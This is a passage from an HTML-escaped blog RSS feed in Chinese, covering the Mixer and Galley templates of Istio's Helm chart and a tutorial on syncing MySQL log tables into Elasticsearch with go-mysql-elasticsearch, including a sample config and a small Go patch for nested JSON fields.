&lt;td&gt;&lt;code&gt;&amp;quot;configmaps&amp;quot;, &amp;quot;endpoints&amp;quot;, &amp;quot;pods&amp;quot;, &amp;quot;services&amp;quot;, &amp;quot;namespaces&amp;quot;, &amp;quot;secrets&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;extensions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;replicasets&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;config.istio.io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;replicasets&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;autoscale-yaml&#34;&gt;&lt;code&gt;autoscale.yaml&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;这里用了一个循环：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;{{- range $key, $spec := .Values }}
{{- if or (eq $key &amp;quot;istio-policy&amp;quot;) (eq $key &amp;quot;istio-telemetry&amp;quot;) }}
{{- if and $spec.autoscaleEnabled $spec.autoscaleMin }}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;分别遍历全局变量中的 &lt;code&gt;mixer.istio-policy&lt;/code&gt; 和 &lt;code&gt;mixer.istio-telemetry&lt;/code&gt;，使用各自的 HPA 参数对伸缩过程进行配置。&lt;/p&gt;

&lt;p&gt;两个 HPA 对象的名字来自上面的循环：&lt;code&gt;istio-policy&lt;/code&gt; 和 &lt;code&gt;istio-telemetry&lt;/code&gt;。引用变量包括这两个分组中的所有变量。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里不难发现 Mixer 中的根级变量 &lt;code&gt;autoscaleMin&lt;/code&gt;、&lt;code&gt;autoscaleMax&lt;/code&gt; 是无用的，该问题在新版本中已经修正。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;service-yaml&#34;&gt;&lt;code&gt;service.yaml&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;和 HPA 的情况类似，这里用循环的方式生成了两个 Service，分别为 &lt;code&gt;istio-policy&lt;/code&gt; 和 &lt;code&gt;istio-telemetry&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;端口方面，两个服务都开放了 &lt;code&gt;grpc-mixer&lt;/code&gt;、&lt;code&gt;grcp-mixer-mtls&lt;/code&gt; 以及 &lt;code&gt;http-monitoring&lt;/code&gt; 三个端口：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;grpc-mixer: 9091&lt;/code&gt;：用于 Mixer 的 gRPC API 端口。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grpc-mixer-mtls: 15004&lt;/code&gt;：启用 mtls 的时候使用的 API 端口。如果启用了 controlPlaneAuthPolicy，则使用该端口进行 Mixer API 通信。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http-monitoring&lt;/code&gt;：用于监测 Mixer 存活状态。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外如果是 &lt;code&gt;istio-telemetry&lt;/code&gt;，还多定义了一个端口 &lt;code&gt;prometheus&lt;/code&gt;，Prometheus 可以从这一端口获取遥测数据。&lt;/p&gt;

&lt;p&gt;此处仅引用了 &lt;code&gt;Chart&lt;/code&gt; 和 &lt;code&gt;Release&lt;/code&gt; 的全局变量。&lt;/p&gt;

&lt;h2 id=&#34;statsdtoprom-yaml&#34;&gt;&lt;code&gt;statsdtoprom.yaml&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;这个组件用来把 Envoy 的 Statsd 指标转换为 Promtheus 指标。这里包含了 Service 和 Deployment 两部分。&lt;/p&gt;

&lt;h3 id=&#34;deployment&#34;&gt;Deployment&lt;/h3&gt;

&lt;p&gt;这里实际上是引用了 Prom 的一个 &lt;a href=&#34;https://github.com/prometheus/statsd_exporter&#34; target=&#34;_blank&#34;&gt;Exporter&lt;/a&gt;，除了引用了 &lt;code&gt;Chart&lt;/code&gt; 和 &lt;code&gt;Release&lt;/code&gt; 全局变量之外，还使用了如下几个变量：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;prometheusStatsdExporter.hub&lt;/code&gt;：镜像仓库的地址。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;prometheusStatsdExporter.tag&lt;/code&gt;：镜像版本。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.imagePullPolicy&lt;/code&gt;：镜像拉取策略。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;prometheusStatsdExporter.resources&lt;/code&gt;：可以定义这一 Pod 的资源使用策略。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nodeSelector&lt;/code&gt;：可以根据资源情况，为该 Pod 进行节点选择，避免资源争用。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;除去上面的变量之外，还可以看到如下信息：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;该 Pod 不接受自动注入。&lt;/li&gt;
&lt;li&gt;开放了 TCP 端口 9102 以及 UDP 端口 9125。&lt;/li&gt;
&lt;li&gt;加载一个 ConfigMap：istio-statsd-prom-bridge，用于配置文件。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;上文提到的 Configmap 来自于模板文件 &lt;code&gt;configmap.yaml&lt;/code&gt;，这一文件没有提供任何额外配置。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;service&#34;&gt;Service&lt;/h3&gt;

&lt;p&gt;这里声明了 Exporter 的端口使用：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TCP 端口 9102 提供给 Prometheus 进行数据抓取。&lt;/li&gt;
&lt;li&gt;UDP 端口 9125，Envoy 会发送指标进入 Exporter。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;autoscale-yaml-1&#34;&gt;&lt;code&gt;autoscale.yaml&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;这里使用 &lt;code&gt;values.yaml&lt;/code&gt; 中定义的内容，分别给 Telemetry 和 Policy 两个组件定义了各自的自动伸缩。&lt;/p&gt;

&lt;p&gt;缺省情况下，都是最少单副本，最多 5 副本，平均 CPU 用量 80%。&lt;/p&gt;

&lt;h2 id=&#34;deployment-yaml&#34;&gt;&lt;code&gt;deployment.yaml&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;这个文件稍微有点古怪，首先分别定义了 &lt;code&gt;policy_container&lt;/code&gt; 和 &lt;code&gt;telemetry_container&lt;/code&gt; 两个模板，然后在文件尾部进行合并。&lt;/p&gt;

&lt;h3 id=&#34;policy-container&#34;&gt;policy_container&lt;/h3&gt;

&lt;p&gt;这个 Deployment 负责 Mixer 的策略实施功能，其主进程为 &lt;a href=&#34;https://istio.io/docs/reference/commands/mixs/&#34; target=&#34;_blank&#34;&gt;mixs&lt;/a&gt;，并且注入了 Sidecar。除了 Chart 和 Release 之外，引用全局变量包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;global.priorityClassName&lt;/code&gt;：&lt;a href=&#34;https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/#pod-priority&#34; target=&#34;_blank&#34;&gt;Pod 优先级&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.hub&lt;/code&gt;：镜像仓库。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.tag&lt;/code&gt;：镜像标签。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;image&lt;/code&gt;：镜像名称，如果名称中包含 &lt;code&gt;/&lt;/code&gt;，则忽略 &lt;code&gt;global.hub&lt;/code&gt; 和 &lt;code&gt;global.tag&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;resource&lt;/code&gt; 和 &lt;code&gt;global.defaultResources&lt;/code&gt;：如果没有特别定义资源限制，则沿用 Chart 设计的缺省限制。&lt;strong&gt;需要注意的是，Policy 和 Telemetry 的两个组件，资源设置是共享的同一套值。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.controlPlaneSecurityEnabled&lt;/code&gt;：根据这个参数来设置 &lt;strong&gt;istio-proxy&lt;/strong&gt; 的 &lt;code&gt;--controlPlaneAuthPolicy&lt;/code&gt;，在 &lt;code&gt;MUTUAL_TLS&lt;/code&gt; 和 &lt;code&gt;NONE&lt;/code&gt; 之间选择。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.proxy.resources&lt;/code&gt; 和 &lt;code&gt;global.defaultResources&lt;/code&gt;：如果没有定义全局的 Proxy 资源限制，也会沿用缺省限制。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;mixs policy&lt;/code&gt; 进程使用了 &lt;code&gt;unix:///sock/mixer.socket&lt;/code&gt; 进行监听，这一点在 Envoy 配置中也有对应的处理。&lt;/p&gt;

&lt;h3 id=&#34;telemetry-container&#34;&gt;telemetry_container&lt;/h3&gt;

&lt;p&gt;该容器仅在命令行（&lt;code&gt;args&lt;/code&gt;）上和 &lt;code&gt;policy&lt;/code&gt; Pod 有差别，就无需介绍了。&lt;/p&gt;

&lt;h2 id=&#34;config-yaml&#34;&gt;&lt;code&gt;config.yaml&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;这里包含了 Mixer 初始配置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/istio.policy.v1beta1/#AttributeManifest&#34; target=&#34;_blank&#34;&gt;attributemanifest&lt;/a&gt;：

&lt;ul&gt;
&lt;li&gt;istioproxy：定义了 Sidecar 中的属性清单。&lt;/li&gt;
&lt;li&gt;kubernetes：Kubernetes 相关的属性清单。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/adapters/stdio/&#34; target=&#34;_blank&#34;&gt;stdio&lt;/a&gt;：定义使用 JSON 格式进行输出的 stdio handler。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/templates/logentry/&#34; target=&#34;_blank&#34;&gt;logentry&lt;/a&gt;：定义了两个不同用途的日志模板实例，用不同属性组成不同内容，用于记录访问日志：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;accesslog&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tcpaccesslog&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/templates/metric/&#34; target=&#34;_blank&#34;&gt;metric&lt;/a&gt; 对象用于定义遥测数据的结构清单：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;requestcount&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;requestduration&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;requestsize&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;responsesize&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tcpbytesent&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tcpbytereceived&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/adapters/prometheus/&#34; target=&#34;_blank&#34;&gt;prometheus&lt;/a&gt; Handler：把前面定义的 &lt;code&gt;metric&lt;/code&gt; 实例逐个映射为 Prometheus 的监控指标。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/adapters/kubernetesenv/&#34; target=&#34;_blank&#34;&gt;kubernetesenv&lt;/a&gt;：该 Handler 为 Mixer 提供 Kubernetes 集群的连接。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/templates/kubernetes/&#34; target=&#34;_blank&#34;&gt;kubernetes&lt;/a&gt;：用于生成 Kubernetes 相关的数据。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/policy-and-telemetry/istio.policy.v1beta1/&#34; target=&#34;_blank&#34;&gt;rule&lt;/a&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stdio&lt;/code&gt;：定义一条规则，将 &lt;code&gt;http&lt;/code&gt; 和 &lt;code&gt;grpc&lt;/code&gt; 协议的访问日志，用 &lt;code&gt;accesslog&lt;/code&gt; 的样式输出到 &lt;code&gt;stdio&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;stdiotcp&lt;/code&gt;：定义一条规则，将 &lt;code&gt;http&lt;/code&gt; 和 &lt;code&gt;grpc&lt;/code&gt; 协议的访问日志，用 &lt;code&gt;tcpaccesslog&lt;/code&gt; 的样式输出到 &lt;code&gt;stdio&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;promhttp&lt;/code&gt;：将 &lt;code&gt;http&lt;/code&gt; 和 &lt;code&gt;grpc&lt;/code&gt; 协议产生的 &lt;code&gt;requestcount&lt;/code&gt;、&lt;code&gt;requestduration&lt;/code&gt;、&lt;code&gt;requestsize&lt;/code&gt; 以及 &lt;code&gt;responsesize&lt;/code&gt; 四种指标送入前面建立的 Prometheus handler。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;promtcp&lt;/code&gt;：将 &lt;code&gt;tcp&lt;/code&gt; 协议产生的 &lt;code&gt;tcpbytesent&lt;/code&gt; 和 &lt;code&gt;tcpbytereceived&lt;/code&gt; 指标送入前面建立的 Prometheus handler。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubeattrgenrulerule&lt;/code&gt;：将 &lt;code&gt;kubernetesenv&lt;/code&gt; 生成的数据交由 &lt;code&gt;kubernetes&lt;/code&gt; 属性模板处理。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tcpkubeattrgenrulerule&lt;/code&gt;：将 &lt;code&gt;kubernetesenv&lt;/code&gt; 生成的 tcp 通信相关数据交由 &lt;code&gt;kubernetes&lt;/code&gt; 属性模板处理。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;目标规则：两条规则分别定义了到 policy 和 &lt;code&gt;telemetry&lt;/code&gt;控制器的连接池，如果启用了 &lt;code&gt;controlPlaneSecurityEnabled&lt;/code&gt;，则加入对 15004 端口的 tls 定义。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;在 Istio 中 Mixer 一直是一个备受争议的组件，一方面表达了 Istio 的远大设计目标，另一方面因为自身结构以及众多 Adapter 的缺陷，持续遭到用户诟病，因此也是目前为止部署体系变化最大的一块，相信后续版本中，Mixer 还会做出频繁的好的和坏的变更。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 go-mysql-elasticsearch 把 MySQL 中的业务日志导入 Elasticsearch</title>
      <link>/post/from-mysql-to-es/</link>
      <pubDate>Wed, 31 Oct 2018 21:00:53 +0800</pubDate>
      <guid>/post/from-mysql-to-es/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;太长不看版：&lt;a href=&#34;https://github.com/siddontang/go-mysql-elasticsearch&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;go-mysql-elasticsearch&lt;/code&gt;&lt;/a&gt; 能把 MySQL 数据库中的数据导入到 Elasticsearch 之中。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;相当一部分应用的日志是保存在数据库之中的，这些陈旧又稳定的应用在支撑着业务的运行。它们产生的日志通常来说也是有其价值的，但是如果能够融入到目前较为通用的 Elasticsearch 当中的话，可能有助于降低运维工作量，防止信息孤岛，并且进一步挖掘既有应用和业务的商业价值。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/siddontang/go-mysql-elasticsearch&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;go-mysql-elasticsearch&lt;/code&gt;&lt;/a&gt; 就是这样一个项目，它可以从 MySQL 的数据表中读取指定数据表的数据，发送到 ElasticSearch 之中。它会使用 &lt;code&gt;mysqldump&lt;/code&gt; 命令处理现有存量数据，并借助 binlog 的方式跟踪增量数据，从而保证 Elasticsearch 的数据和 MySQL 数据库中的数据保持同步。下面会简单讲一下这一项目的配置，并试验一个简单例子，最后根据实际情况进行一些改进。&lt;/p&gt;

&lt;h2 id=&#34;条件和假设&#34;&gt;条件和假设&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;目前该工具支持 MySQL 和 ES 的版本都是 5.x。&lt;/li&gt;
&lt;li&gt;MySQL 服务器需要开启 row 模式的 binlog。&lt;/li&gt;
&lt;li&gt;因为要使用 &lt;code&gt;mysqldump&lt;/code&gt; 命令，因此该进程的所在的服务器需要部署这一工具。&lt;/li&gt;
&lt;li&gt;这一工具使用 GoLang 开发，需要 Go 1.9+ 的环境进行构建。&lt;/li&gt;
&lt;li&gt;可用的 MySQL、Elasticsearch 以及 Kibana 实例。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外为了进行演示，这里做一点假设：&lt;/p&gt;

&lt;h3 id=&#34;业务日志表&#34;&gt;业务日志表&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;CREATE TABLE `biz_log` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `receive_content` text,
  `send_content` text,
  `fd_receive_content` text,
  `fd_send_content` text,
  `log_time` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=21 DEFAULT CHARSET=utf8mb4;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;四个 &lt;code&gt;text&lt;/code&gt; 字段&lt;strong&gt;使用 JSON 格式&lt;/strong&gt;存储了几个不同的日志种类。&lt;/p&gt;

&lt;h2 id=&#34;工具构建&#34;&gt;工具构建&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;go get github.com/siddontang/go-mysql-elasticsearch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cd $GOPATH/src/github.com/siddontang/go-mysql-elasticsearch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;make&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;转换配置&#34;&gt;转换配置&lt;/h2&gt;

&lt;p&gt;执行 &lt;code&gt;go-mysql-elasticsearch --help&lt;/code&gt;，会看到一系列的参数，最主要的参数就是 &lt;code&gt;-config&lt;/code&gt;，这个参数用于设置转换过程所需的参数配置文件，在源码的 &lt;a href=&#34;https://github.com/siddontang/go-mysql-elasticsearch/blob/master/etc/river.toml&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;/etc/river.toml&lt;/code&gt;&lt;/a&gt; 中包含了一份配置样本。作者在这一配置样本中提供了非常详尽的注释，可以对转换过程做出很多定制。但是由于工具本身具备很好的适应能力，加上 ES 的强大功能，只需要一点简单的设置，就能够顺利完成常见任务了。&lt;/p&gt;

&lt;p&gt;一个简单的配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;# MySQL 的相关配置
# 指定用户必须具备复制权限
my_addr = &amp;quot;127.0.0.1:3306&amp;quot;
my_user = &amp;quot;root&amp;quot;
my_pass = &amp;quot;Flzx3000c&amp;quot;
my_charset = &amp;quot;utf8mb4&amp;quot;

# ES 相关配置
es_addr = &amp;quot;127.0.0.1:9200&amp;quot;
es_user = &amp;quot;&amp;quot;
es_pass = &amp;quot;&amp;quot;

# 数据源配置
# 以 Slave 模式工作
server_id = 10001
# mysql/mariadb
flavor = &amp;quot;mysql&amp;quot;

# mysqldump 路径，如果为空或者未设置，会跳过这一环节。
mysqldump = &amp;quot;mysqldump&amp;quot;
bulk_size = 128
flush_bulk_time = &amp;quot;200ms&amp;quot;
skip_no_pk_table = false


[[source]]
# 数据库名称
schema = &amp;quot;biz&amp;quot;
# 数据表同步范围，支持通配符
tables = [&amp;quot;biz_log&amp;quot;]

# 规则定义
[[rule]]
# 数据库名称
schema = &amp;quot;biz&amp;quot;
# 规则对应的数据表，支持通配符
table = &amp;quot;biz_log&amp;quot;
# 目标 ES 索引
index = &amp;quot;biz&amp;quot;
# 该规则在 ES 中生成的文档类型
type = &amp;quot;log_db&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;同步&#34;&gt;同步&lt;/h2&gt;

&lt;p&gt;配置文件完成之后，就可以执行 &lt;code&gt;./go-mysql-elasticsearch -config=./river.toml&lt;/code&gt;，日志中会显示首先执行 &lt;code&gt;mysqldump&lt;/code&gt; 导出存量数据，然后开始守护进程阶段，跟踪 binlog 并进行同步。&lt;/p&gt;

&lt;p&gt;此时打开 Kibana，执行 &lt;code&gt;GET _search&lt;/code&gt;，会看到数据库记录已经进入了 ES 中，并且按照我们定义的规则进行了索引。在守护进行运行期间，如果有新的数据插入，也会同步到 ES 之中。&lt;/p&gt;

&lt;p&gt;但是这里我们会发现一个小问题，前面提到的 JSON 字段被作为单一的字符串存入了 ES 索引。这样就根据 JSON 中的特定字段进行搜索的需要就比较费劲了，而我们也知道，如果直接向 ES 提交文档，其中的 JSON 是会被映射为 Object 类型的。如果对 ES 索引进行数据类型的定义，会发现直接将 JSON 字段映射到 Object 类型后，同步过程会失败，返回错误认为将无效内容映射到了这一类型。因此可以推测是字符串并没有使用原有格式提交给 ES。&lt;/p&gt;

&lt;p&gt;经过对代码的阅读跟踪，发现在 &lt;a href=&#34;https://github.com/siddontang/go-mysql-elasticsearch/blob/d23841980e75da3d6f0c8a13b3876b9a70cb7b80/elastic/client.go#L139&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;elastic/client.go&lt;/code&gt;&lt;/a&gt; 中对数据进行了一次 Json 编码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;    default:
        //for create and index
        data, err = json.Marshal(r.Data)
        if err != nil {
            return errors.Trace(err)
        }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面就尝试进行一点改动，使之支持嵌套在字段内容中的 JSON 内容。&lt;/p&gt;

&lt;h2 id=&#34;json&#34;&gt;JSON&lt;/h2&gt;

&lt;p&gt;这里我想到了一个简单粗暴的办法就是，对数据报文进行一次检查，如果该字段内容是有效 JSON 的话，就使用 &lt;code&gt;github.com/buger/jsonparser&lt;/code&gt; 的 &lt;code&gt;set&lt;/code&gt; 方法，将压缩后的 JSON 字符串重新赋值给编码后的 &lt;code&gt;byte[]&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;首先给 &lt;code&gt;BulkRequest&lt;/code&gt; 定义一个新方法，用于数据编码&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;func (b *BulkRequest) encodeData() []byte {
     jsonResults,_ := json.Marshal(b.Data)
     // 判断是否有效的 JSON 数据
     isJson := func(s string) bool {
         var js map[string]interface{}
         return json.Unmarshal([]byte(s), &amp;amp;js) == nil

     }
     for key, value := range b.Data {
         stringValue, ok := value.(string)
         // 如果字段内容是字符串并且是 JSON 格式
         if ok &amp;amp;&amp;amp; isJson(stringValue) {
             // 设置编码后内容该字段的值为原文
             jsonResults,_ = jsonparser.Set(jsonResults, []byte(stringValue), key)
            }
     }
     return jsonResults
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后将原有的 &lt;code&gt;data, err = json.Marshal(r.Data)&lt;/code&gt; 替换为 &lt;code&gt;data = r.encodeData()&lt;/code&gt;，再次构建运行。会看到 ES 成功的将 JSON 字段进行了解析，生成了 Object 类型的映射关系。&lt;/p&gt;

&lt;h2 id=&#34;补充说明&#34;&gt;补充说明&lt;/h2&gt;

&lt;p&gt;这里引用&lt;a href=&#34;https://my.oschina.net/u/2282993/blog/1821930&#34; target=&#34;_blank&#34;&gt;go-mysql-elasticsearch功能及性能验证&lt;/a&gt; 一文的性能测试结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;1.全量同步
支持：需要安装mysqldump（mysql自带），同步11.5w数据，耗时3分13秒。
全量基于mysqldump，需要将工具和mysql安装在同一个节点，其它方式尚未找到。
2.增量同步
支持。
增量插入20W数据，耗时8分钟。
删除20w条数据，耗时6分。
更新20w条数据，12分钟。
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一工具还有一些其它亮点，例如多表聚合、字段过滤、自定义字段映射等。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;项目地址：&lt;code&gt;https://github.com/siddontang/go-mysql-elasticsearch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;配置文件样本：&lt;code&gt;https://github.com/siddontang/go-mysql-elasticsearch/blob/master/etc/river.toml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Fork 地址：&lt;code&gt;https://github.com/fleeto/go-mysql-elasticsearch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;作者原版教程：&lt;code&gt;https://www.jianshu.com/p/96c7858b580f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;go-mysql-elasticsearch 功能及性能验证 ：&lt;code&gt;https://my.oschina.net/u/2282993/blog/1821930&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;JsonParser：&lt;code&gt;https://github.com/buger/jsonparser&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Istio Helm Chart 详解 - Galley</title>
      <link>/post/istio-helm-deep-dive-galley/</link>
      <pubDate>Sat, 27 Oct 2018 15:50:59 +0800</pubDate>
      <guid>/post/istio-helm-deep-dive-galley/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/reference/commands/galley/&#34; target=&#34;_blank&#34;&gt;Galley&lt;/a&gt; 是 Istio 的配置管理组件，根据&lt;a href=&#34;https://preliminary.istio.io/zh/docs/concepts/what-is-istio/#galley&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;的描述：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Galley 代表其他的 Istio 控制平面组件，用来验证用户编写的 Istio API 配置。随着时间的推移，Galley 将接管 Istio 获取配置、 处理和分配组件的顶级责任。它将负责将其他的 Istio 组件与从底层平台（例如 Kubernetes）获取用户配置的细节中隔离开来。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;values-yaml-中的相关变量&#34;&gt;values.yaml 中的相关变量&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;galley:
  enabled: true
  replicaCount: 1
  image: galley
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里看到，Galley 的相关变量只有启用、副本数量以及镜像三个。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;enabled&lt;/code&gt;：负责在 &lt;code&gt;requirements.yaml&lt;/code&gt; 中标识是否启用 Galley 组件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;replicaCount&lt;/code&gt;：负责在 &lt;code&gt;deployment.yaml&lt;/code&gt; 中定义副本数量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;image&lt;/code&gt;：负责在 &lt;code&gt;deployment.yaml&lt;/code&gt; 中定义镜像。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;rbac-相关内容&#34;&gt;RBAC 相关内容&lt;/h2&gt;

&lt;p&gt;这里可以看到 Galley 使用 Service Account &lt;code&gt;istio-galley-service-account&lt;/code&gt; 的身份运行。全局变量中如果定义了 &lt;code&gt;imagePullSecrets&lt;/code&gt;，则会在 &lt;code&gt;serviceaccount.yaml&lt;/code&gt; 中进行引用。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;clusterrole.yaml&lt;/code&gt; 模板中定义了 Galley 所需使用的系统资源：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对 &lt;code&gt;admissionregistration.k8s.io&lt;/code&gt; 组中的 &lt;code&gt;validatingwebhookconfigurations&lt;/code&gt; 类型的完全控制。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;config.istio.io&lt;/code&gt;： Mixer CRD 的所有资源的读取权限。&lt;/li&gt;
&lt;li&gt;对 &lt;code&gt;istio-galley&lt;/code&gt; Deployment 和 Endpoint 的读取权限。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;clusterrolebinding.yaml&lt;/code&gt; 将上面的两个对象连接起来完成授权。&lt;/p&gt;

&lt;h2 id=&#34;service-yaml&#34;&gt;service.yaml&lt;/h2&gt;

&lt;p&gt;这里看到为 Galley 开放了两个端口：443 是一个 https 端口，用来提供验证服务；而 9093 是一个用来进行 Galley 自身服务监控的 http 端口。&lt;/p&gt;

&lt;p&gt;该文件只引用了 &lt;code&gt;Release&lt;/code&gt; 内置变量。&lt;/p&gt;

